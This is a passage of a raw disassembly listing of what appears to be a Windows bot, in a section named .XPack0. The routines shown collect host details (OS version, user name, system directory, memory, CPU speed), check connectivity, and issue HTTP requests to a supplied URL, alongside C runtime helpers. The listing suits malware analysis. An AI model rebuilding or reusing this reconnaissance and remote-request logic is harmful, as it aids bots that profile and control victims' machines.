eax jz short loc_41AFE6 cmp [ebp+var_90], 4 jnz short loc_41AFBC cmp [ebp+var_8C], esi jnz short loc_41AFA4 cmp [ebp+var_84], 1 jnz short loc_41AF96 inc esi loc_41AF96: ; CODE XREF: sub_41AF54+3Fj cmp [ebp+var_84], 2 jnz short loc_41AFE6 xor esi, esi inc esi jmp short loc_41AFE6 ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41AF54+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AFB1 loc_41AFAD: ; CODE XREF: sub_41AF54+77j push 2 jmp short loc_41AFE5 ; --------------------------------------------------------------------------- loc_41AFB1: ; CODE XREF: sub_41AF54+57j cmp [ebp+var_8C], 5Ah jnz short loc_41AFE6 jmp short loc_41AFD6 ; --------------------------------------------------------------------------- loc_41AFBC: ; CODE XREF: sub_41AF54+2Ej cmp [ebp+var_90], 5 jnz short loc_41AFE6 cmp [ebp+var_8C], esi jz short loc_41AFAD cmp [ebp+var_8C], 1 jnz short loc_41AFDA loc_41AFD6: ; CODE XREF: sub_41AF54+66j push 3 jmp short loc_41AFE5 ; --------------------------------------------------------------------------- loc_41AFDA: ; CODE XREF: sub_41AF54+80j cmp [ebp+var_8C], 2 jnz short loc_41AFE6 push 7 loc_41AFE5: ; CODE XREF: sub_41AF54+5Bj ; sub_41AF54+84j pop esi loc_41AFE6: ; CODE XREF: sub_41AF54+25j ; sub_41AF54+49j ... mov eax, esi pop esi leave retn sub_41AF54 endp ; =============== S U B R O U T I N E ======================================= sub_41AFEB proc near ; CODE XREF: sub_41B0A1+290p push ebx push esi push edi mov edi, 0F4240h loc_41AFF3: ; CODE XREF: sub_41AFEB+2Fj ; sub_41AFEB+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_428080 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_41DAB0 mov esi, edx mov ebx, eax test esi, esi ja short loc_41AFF3 jb short loc_41B022 cmp ebx, edi ja short loc_41AFF3 loc_41B022: ; CODE XREF: sub_41AFEB+31j push 0 push 64h push esi push ebx call sub_41DB20 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_41B095 jb short loc_41B041 cmp edi, 50h jnb short loc_41B046 loc_41B041: ; CODE XREF: sub_41AFEB+4Fj push 4Bh xor edx, edx pop eax loc_41B046: ; CODE XREF: sub_41AFEB+54j test ecx, ecx ja short loc_41B095 jb short loc_41B051 cmp edi, 47h jnb short loc_41B056 loc_41B051: ; CODE XREF: sub_41AFEB+5Fj push 42h xor edx, edx pop eax loc_41B056: ; CODE XREF: sub_41AFEB+64j test ecx, ecx ja short loc_41B095 jb short loc_41B061 cmp edi, 37h jnb short loc_41B066 loc_41B061: ; CODE XREF: sub_41AFEB+6Fj push 32h xor edx, edx pop eax loc_41B066: ; CODE XREF: sub_41AFEB+74j test ecx, ecx ja short loc_41B095 jb short loc_41B071 cmp edi, 26h jnb short loc_41B076 loc_41B071: ; CODE XREF: sub_41AFEB+7Fj push 21h xor edx, edx pop eax loc_41B076: ; CODE XREF: sub_41AFEB+84j test ecx, ecx ja short loc_41B095 jb short loc_41B081 cmp edi, 1Eh jnb short loc_41B086 loc_41B081: ; CODE XREF: sub_41AFEB+8Fj push 19h xor edx, edx pop eax loc_41B086: ; CODE XREF: sub_41AFEB+94j test ecx, ecx ja short loc_41B095 jb short loc_41B091 cmp edi, 0Ah jnb short loc_41B095 loc_41B091: ; CODE XREF: sub_41AFEB+9Fj xor eax, eax xor edx, edx loc_41B095: ; CODE XREF: sub_41AFEB+4Dj ; sub_41AFEB+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_41AFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0A1 proc near ; CODE XREF: sub_401AA1+26E9p var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_4404C4 mov [ebp+var_CC], 94h call dword_4280D0 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B128 cmp [ebp+var_C4], ebx jnz short loc_41B104 cmp [ebp+var_BC], 1 jnz short loc_41B0EE mov [ebp+var_4], offset a95 ; "95" loc_41B0EE: ; CODE XREF: sub_41B0A1+44j cmp [ebp+var_BC], 2 jnz loc_41B1A3 mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_41B174 ; --------------------------------------------------------------------------- loc_41B104: ; CODE XREF: sub_41B0A1+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B116 mov [ebp+var_4], offset a98 ; "98" jmp short loc_41B16B ; --------------------------------------------------------------------------- loc_41B116: ; CODE XREF: sub_41B0A1+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B164 mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41B16B ; --------------------------------------------------------------------------- loc_41B128: ; CODE XREF: sub_41B0A1+33j cmp [ebp+var_C8], 5 jnz short loc_41B164 cmp [ebp+var_C4], ebx jnz short loc_41B142 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41B16B ; --------------------------------------------------------------------------- loc_41B142: ; CODE XREF: sub_41B0A1+96j cmp [ebp+var_C4], 1 jnz short loc_41B154 mov [ebp+var_4], offset aXp_0 ; "XP" jmp short loc_41B16B ; --------------------------------------------------------------------------- loc_41B154: ; CODE XREF: sub_41B0A1+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B16B loc_41B164: ; CODE XREF: sub_41B0A1+7Cj ; sub_41B0A1+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41B16B: ; CODE XREF: sub_41B0A1+73j ; sub_41B0A1+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B1A3 loc_41B174: ; CODE XREF: sub_41B0A1+61j cmp [ebp+var_B8], bl jz short loc_41B1A3 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_438E04 push eax call sub_41BEF6 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B1A3: ; CODE XREF: sub_41B0A1+54j ; sub_41B0A1+D1j ... mov ax, word_43A7FC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CE1E8 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_41B1DC lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41B1DC: ; CODE XREF: sub_41B0A1+12Cj push [ebp+arg_4] call sub_40A8D5 pop ecx push eax call dword_4CE348 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call dword_4CE2C0 ; gethostbyaddr cmp eax, ebx jz short loc_41B205 push dword ptr [eax] jmp short loc_41B20A ; --------------------------------------------------------------------------- loc_41B205: ; CODE XREF: sub_41B0A1+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B20A: ; CODE XREF: sub_41B0A1+162j lea eax, [ebp+var_3E4] push eax call sub_41BEF6 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_42807C ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset dword_43D3D0 push ebx mov esi, 409h push ebx push esi call dword_428114 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_428110 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_4281A0 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C041 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_416FD0 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41AF01 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416EC1 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416EC1 pop ecx pop ecx push eax call sub_41AFEB push edx push eax push offset dword_43D2E8 push 200h push [ebp+arg_0] call sub_41BFF0 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41B0A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B355 proc near ; CODE XREF: sub_401AA1+2717p ; sub_401AA1+7156p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BC00 add esp, 0Ch cmp dword_4CE3EC, 0 jnz short loc_41B3C9 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CE1CC ; InternetGetConnectedStateExA test eax, eax jnz short loc_41B3AA lea eax, [ebp+var_8C] push offset dword_43D458 push eax call sub_41BEF6 pop ecx pop ecx loc_41B3AA: ; CODE XREF: sub_41B355+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_41B3C2 push offset dword_43D450 loc_41B3B8: ; CODE XREF: sub_41B355+72j push eax call sub_41BEF6 pop ecx pop ecx jmp short loc_41B3E8 ; --------------------------------------------------------------------------- loc_41B3C2: ; CODE XREF: sub_41B355+5Cj push offset off_43D44C jmp short loc_41B3B8 ; --------------------------------------------------------------------------- loc_41B3C9: ; CODE XREF: sub_41B355+28j mov esi, offset off_43D448 lea eax, [ebp+var_8] push esi push eax call sub_41BEF6 lea eax, [ebp+var_8C] push esi push eax call sub_41BEF6 add esp, 10h loc_41B3E8: ; CODE XREF: sub_41B355+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43D3F8 push 200h push [ebp+arg_0] call sub_41BFF0 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B355 endp ; --------------------------------------------------------------------------- loc_41B41B: ; DATA XREF: sub_401AA1+7501o push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+8] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp-35Ch] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp-148h] push ebx push eax mov [ebp-0Ch], ebx mov [ebp-4], ebx mov dword ptr [ebp-8], offset dword_43D594 call sub_41BC00 push edi lea eax, [ebp-1C8h] push ebx push eax call sub_41BC00 push edi lea eax, [ebp-0C8h] push ebx push eax call sub_41BC00 push 100h lea eax, [ebp-65Ch] push ebx push eax call sub_41BC00 push 3Ch lea eax, [ebp-48h] pop edi push edi push ebx push eax call sub_41BC00 add esp, 3Ch lea eax, [ebp-48h] mov [ebp-48h], edi mov [ebp-34h], esi push eax lea eax, [ebp-358h] push ebx push eax mov [ebp-28h], esi mov [ebp-20h], esi mov [ebp-18h], esi call sub_41B650 pop ecx push eax lea eax, [ebp-358h] push eax call dword_4CE204 ; InternetCrackUrlA test eax, eax jz loc_41B5BB cmp [ebp-34h], ebx jbe short loc_41B4F2 push dword ptr [ebp-34h] lea eax, [ebp-148h] push dword ptr [ebp-38h] push eax call sub_41BC60 add esp, 0Ch loc_41B4F2: ; CODE XREF: .XPack0:0041B4DBj cmp [ebp-28h], ebx movzx esi, word ptr [ebp-30h] jbe short loc_41B510 push dword ptr [ebp-28h] lea eax, [ebp-1C8h] push dword ptr [ebp-2Ch] push eax call sub_41BC60 add esp, 0Ch loc_41B510: ; CODE XREF: .XPack0:0041B4F9j cmp [ebp-20h], ebx jbe short loc_41B52A push dword ptr [ebp-20h] lea eax, [ebp-0C8h] push dword ptr [ebp-24h] push eax call sub_41BC60 add esp, 0Ch loc_41B52A: ; CODE XREF: .XPack0:0041B513j cmp [ebp-18h], ebx jbe short loc_41B544 push dword ptr [ebp-18h] lea eax, [ebp-65Ch] push dword ptr [ebp-1Ch] push eax call sub_41BC60 add esp, 0Ch loc_41B544: ; CODE XREF: .XPack0:0041B52Dj push ebx push ebx lea eax, [ebp-0C8h] push 3 push eax lea eax, [ebp-1C8h] push eax lea eax, [ebp-148h] push esi push eax push dword_4CE2B8 call dword_4CE2DC ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41B5D1 push ebx lea eax, [ebp-8] push 200h push eax lea eax, [ebp-2D8h] push eax lea eax, [ebp-65Ch] push ebx push eax push ebx push esi call dword_4CE2D0 ; HttpOpenRequestA cmp eax, ebx mov [ebp-4], eax jz short loc_41B5D8 push ebx push ebx push ebx push ebx push eax call dword_4CE27C ; HttpSendRequestA test eax, eax lea eax, [ebp-55Ch] jz short loc_41B5B4 push offset dword_43D578 jmp short loc_41B5E3 ; --------------------------------------------------------------------------- loc_41B5B4: ; CODE XREF: .XPack0:0041B5ABj push offset unk_43D528 jmp short loc_41B5E3 ; --------------------------------------------------------------------------- loc_41B5BB: ; CODE XREF: .XPack0:0041B4D2j lea eax, [ebp-55Ch] push offset dword_43D4EC push eax call sub_41BEF6 mov esi, [ebp-0Ch] jmp short loc_41B5E9 ; --------------------------------------------------------------------------- loc_41B5D1: ; CODE XREF: .XPack0:0041B56Ej push offset unk_43D4AC jmp short loc_41B5DD ; --------------------------------------------------------------------------- loc_41B5D8: ; CODE XREF: .XPack0:0041B596j push offset unk_43D468 loc_41B5DD: ; CODE XREF: .XPack0:0041B5D6j lea eax, [ebp-55Ch] loc_41B5E3: ; CODE XREF: .XPack0:0041B5B2j ; .XPack0:0041B5B9j push eax call sub_41BEF6 loc_41B5E9: ; CODE XREF: .XPack0:0041B5CFj cmp [ebp-1D4h], ebx pop ecx pop ecx jnz short loc_41B616 push ebx lea eax, [ebp-55Ch] push dword ptr [ebp-1D0h] push eax lea eax, [ebp-258h] push eax push dword ptr [ebp-35Ch] call sub_409743 add esp, 14h loc_41B616: ; CODE XREF: .XPack0:0041B5F1j lea eax, [ebp-55Ch] push eax call sub_415F45 pop ecx push esi call dword_4CE33C ; InternetCloseHandle push dword ptr [ebp-4] call dword_4CE33C ; InternetCloseHandle push dword ptr [ebp-1D8h] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 7 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B650 proc near ; CODE XREF: sub_401000+38p ; sub_40121E+14Ap ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B670 loc_41B65C: ; CODE XREF: sub_41B650+19j mov al, [ecx] inc ecx test al, al jz short loc_41B6A3 test ecx, 3 jnz short loc_41B65C add eax, 0 loc_41B670: ; CODE XREF: sub_41B650+Aj ; sub_41B650+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B670 mov eax, [ecx-4] test al, al jz short loc_41B6C1 test ah, ah jz short loc_41B6B7 test eax, 0FF0000h jz short loc_41B6AD test eax, 0FF000000h jz short loc_41B6A3 jmp short loc_41B670 ; --------------------------------------------------------------------------- loc_41B6A3: ; CODE XREF: sub_41B650+11j ; sub_41B650+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B6AD: ; CODE XREF: sub_41B650+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B650+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B650+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B650 endp ; =============== S U B R O U T I N E ======================================= sub_41B6CB proc near ; CODE XREF: sub_4010AA+62p ; sub_401AA1+57E7p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B6E0 or eax, 0FFFFFFFFh jmp short loc_41B71A ; --------------------------------------------------------------------------- loc_41B6E0: ; CODE XREF: sub_41B6CB+Ej test al, 83h jz short loc_41B718 push esi call sub_41E22B push esi mov edi, eax call sub_41E1C5 push dword ptr [esi+10h] call sub_41E112 add esp, 0Ch test eax, eax jge short loc_41B706 or edi, 0FFFFFFFFh jmp short loc_41B718 ; --------------------------------------------------------------------------- loc_41B706: ; CODE XREF: sub_41B6CB+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B718 push eax call sub_41B721 and dword ptr [esi+1Ch], 0 pop ecx loc_41B718: ; CODE XREF: sub_41B6CB+17j ; sub_41B6CB+39j ... mov eax, edi loc_41B71A: ; CODE XREF: sub_41B6CB+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B721 proc near ; CODE XREF: sub_4010AA+5Cp ; sub_40A7FD+C3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B787 mov eax, dword_4DFC68 cmp eax, 3 jnz short loc_41B74D push esi call sub_41E517 pop ecx test eax, eax push esi jz short loc_41B779 push eax call sub_41E542 pop ecx pop ecx jmp short loc_41B787 ; --------------------------------------------------------------------------- loc_41B74D: ; CODE XREF: sub_41B721+14j cmp eax, 2 jnz short loc_41B778 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F272 add esp, 0Ch test eax, eax jz short loc_41B778 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F2C9 add esp, 0Ch jmp short loc_41B787 ; --------------------------------------------------------------------------- loc_41B778: ; CODE XREF: sub_41B721+2Fj ; sub_41B721+44j push esi loc_41B779: ; CODE XREF: sub_41B721+20j push 0 push dword_4DFC64 call dword_428150 ; RtlFreeHeap loc_41B787: ; CODE XREF: sub_41B721+Aj ; sub_41B721+2Aj ... pop esi leave retn sub_41B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B78A proc near ; CODE XREF: sub_4010AA+43p ; sub_40FD24+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B7AE xor eax, eax jmp loc_41B857 ; --------------------------------------------------------------------------- loc_41B7AE: ; CODE XREF: sub_41B78A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B7C1 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B7CD ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: sub_41B78A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B7CD ; --------------------------------------------------------------------------- loc_41B7CA: ; CODE XREF: sub_41B78A+C4j mov ecx, [ebp+arg_0] loc_41B7CD: ; CODE XREF: sub_41B78A+35j ; sub_41B78A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B7FF mov eax, [esi+4] test eax, eax jz short loc_41B7FF cmp ecx, eax mov edi, ecx jb short loc_41B7E4 mov edi, eax loc_41B7E4: ; CODE XREF: sub_41B78A+56j push edi push dword ptr [esi] push ebx call near ptr sub_41C9B0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B84A ; --------------------------------------------------------------------------- loc_41B7FF: ; CODE XREF: sub_41B78A+49j ; sub_41B78A+50j cmp ecx, [ebp+arg_C] jb short loc_41B832 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B815 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B815: ; CODE XREF: sub_41B78A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F7BC add esp, 0Ch test eax, eax jz short loc_41B85C cmp eax, 0FFFFFFFFh jz short loc_41B862 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B84A ; --------------------------------------------------------------------------- loc_41B832: ; CODE XREF: sub_41B78A+78j push esi call sub_41F6E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B866 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B84A: ; CODE XREF: sub_41B78A+73j ; sub_41B78A+A6j cmp [ebp+arg_0], 0 jnz loc_41B7CA mov eax, [ebp+arg_8] loc_41B857: ; CODE XREF: sub_41B78A+1Fj ; sub_41B78A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B85C: ; CODE XREF: sub_41B78A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B866 ; --------------------------------------------------------------------------- loc_41B862: ; CODE XREF: sub_41B78A+9Fj or dword ptr [esi+0Ch], 20h loc_41B866: ; CODE XREF: sub_41B78A+B2j ; sub_41B78A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B857 sub_41B78A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B872 proc near ; CODE XREF: sub_4010AA+2Cp ; sub_41D643+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B88D push [ebp+arg_4] call sub_41BB45 pop ecx jmp loc_41BB0D ; --------------------------------------------------------------------------- loc_41B88D: ; CODE XREF: sub_41B872+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B8A2 push [ebp+arg_0] call sub_41B721 pop ecx jmp loc_41BB0B ; --------------------------------------------------------------------------- loc_41B8A2: ; CODE XREF: sub_41B872+20j mov eax, dword_4DFC68 cmp eax, 3 jnz loc_41B9B2 loc_41B8B0: ; CODE XREF: sub_41B872+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B98E push [ebp+arg_0] call sub_41E517 mov ebx, eax pop ecx test ebx, ebx jz loc_41B969 cmp esi, dword_4DFC60 ja short loc_41B922 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41ED20 add esp, 0Ch test eax, eax jnz short loc_41B91E push esi call sub_41E86B mov edi, eax pop ecx test edi, edi jz short loc_41B922 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B902 mov eax, esi loc_41B902: ; CODE XREF: sub_41B872+8Cj push eax push ebx push edi call near ptr sub_41C9B0 push ebx call sub_41E517 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E542 add esp, 18h loc_41B91E: ; CODE XREF: sub_41B872+74j test edi, edi jnz short loc_41B965 loc_41B922: ; CODE XREF: sub_41B872+62j ; sub_41B872+81j test esi, esi jnz short loc_41B929 push 1 pop esi loc_41B929: ; CODE XREF: sub_41B872+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DFC64 call dword_428154 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41B965 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B951 mov eax, esi loc_41B951: ; CODE XREF: sub_41B872+DBj push eax push ecx push edi call near ptr sub_41C9B0 push [ebp+arg_0] push ebx call sub_41E542 add esp, 14h loc_41B965: ; CODE XREF: sub_41B872+AEj ; sub_41B872+D0j test ebx, ebx jnz short loc_41B98A loc_41B969: ; CODE XREF: sub_41B872+56j test esi, esi jnz short loc_41B970 push 1 pop esi loc_41B970: ; CODE XREF: sub_41B872+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DFC64 call dword_4281A4 ; RtlReAllocateHeap mov edi, eax loc_41B98A: ; CODE XREF: sub_41B872+F5j test edi, edi jnz short loc_41B9AB loc_41B98E: ; CODE XREF: sub_41B872+43j cmp dword_4DE64C, 0 jz short loc_41B9AB push esi call sub_41F9B2 test eax, eax pop ecx jnz loc_41B8B0 jmp loc_41BB0B ; --------------------------------------------------------------------------- loc_41B9AB: ; CODE XREF: sub_41B872+11Aj ; sub_41B872+123j ... mov eax, edi jmp loc_41BB0D ; --------------------------------------------------------------------------- loc_41B9B2: ; CODE XREF: sub_41B872+38j cmp eax, 2 jnz loc_41BACD cmp esi, 0FFFFFFE0h ja short loc_41B9CF test esi, esi jbe short loc_41B9CC add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B9CF ; --------------------------------------------------------------------------- loc_41B9CC: ; CODE XREF: sub_41B872+150j push 10h pop esi loc_41B9CF: ; CODE XREF: sub_41B872+14Cj ; sub_41B872+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BAAF lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F272 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BA93 cmp esi, dword_43F614 jnb short loc_41BA57 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F63A add esp, 10h test eax, eax jz short loc_41BA1D mov edi, [ebp+arg_0] jmp short loc_41BA4F ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B872+1A4j push edi call sub_41F30E mov edi, eax pop ecx test edi, edi jz short loc_41BA57 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BA36 mov eax, esi loc_41BA36: ; CODE XREF: sub_41B872+1C0j push eax push [ebp+arg_0] push edi call near ptr sub_41C9B0 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F2C9 add esp, 18h loc_41BA4F: ; CODE XREF: sub_41B872+1A9j test edi, edi jnz loc_41B9AB loc_41BA57: ; CODE XREF: sub_41B872+18Bj ; sub_41B872+1B6j push esi push 0 push dword_4DFC64 call dword_428154 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BAAF movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BA78 mov eax, esi loc_41BA78: ; CODE XREF: sub_41B872+202j push eax push [ebp+arg_0] push edi call near ptr sub_41C9B0 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F2C9 add esp, 18h jmp short loc_41BAA7 ; --------------------------------------------------------------------------- loc_41BA93: ; CODE XREF: sub_41B872+17Fj push esi push [ebp+arg_0] push 0 push dword_4DFC64 call dword_4281A4 ; RtlReAllocateHeap mov edi, eax loc_41BAA7: ; CODE XREF: sub_41B872+21Fj test edi, edi jnz loc_41B9AB loc_41BAAF: ; CODE XREF: sub_41B872+162j ; sub_41B872+1F8j cmp dword_4DE64C, 0 jz loc_41B9AB push esi call sub_41F9B2 test eax, eax pop ecx jnz loc_41B9CF jmp short loc_41BB0B ; --------------------------------------------------------------------------- loc_41BACD: ; CODE XREF: sub_41B872+143j ; sub_41B872+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BAF7 test esi, esi jnz short loc_41BADB push 1 pop esi loc_41BADB: ; CODE XREF: sub_41B872+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DFC64 call dword_4281A4 ; RtlReAllocateHeap test eax, eax jnz short loc_41BB0D loc_41BAF7: ; CODE XREF: sub_41B872+260j cmp dword_4DE64C, 0 jz short loc_41BB0D push esi call sub_41F9B2 test eax, eax pop ecx jnz short loc_41BACD loc_41BB0B: ; CODE XREF: sub_41B872+2Bj ; sub_41B872+134j ... xor eax, eax loc_41BB0D: ; CODE XREF: sub_41B872+16j ; sub_41B872+13Bj ... pop edi pop esi pop ebx leave retn sub_41B872 endp ; =============== S U B R O U T I N E ======================================= sub_41BB12 proc near ; CODE XREF: sub_41BB32+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FB3D test eax, eax jnz short loc_41BB1C retn ; --------------------------------------------------------------------------- 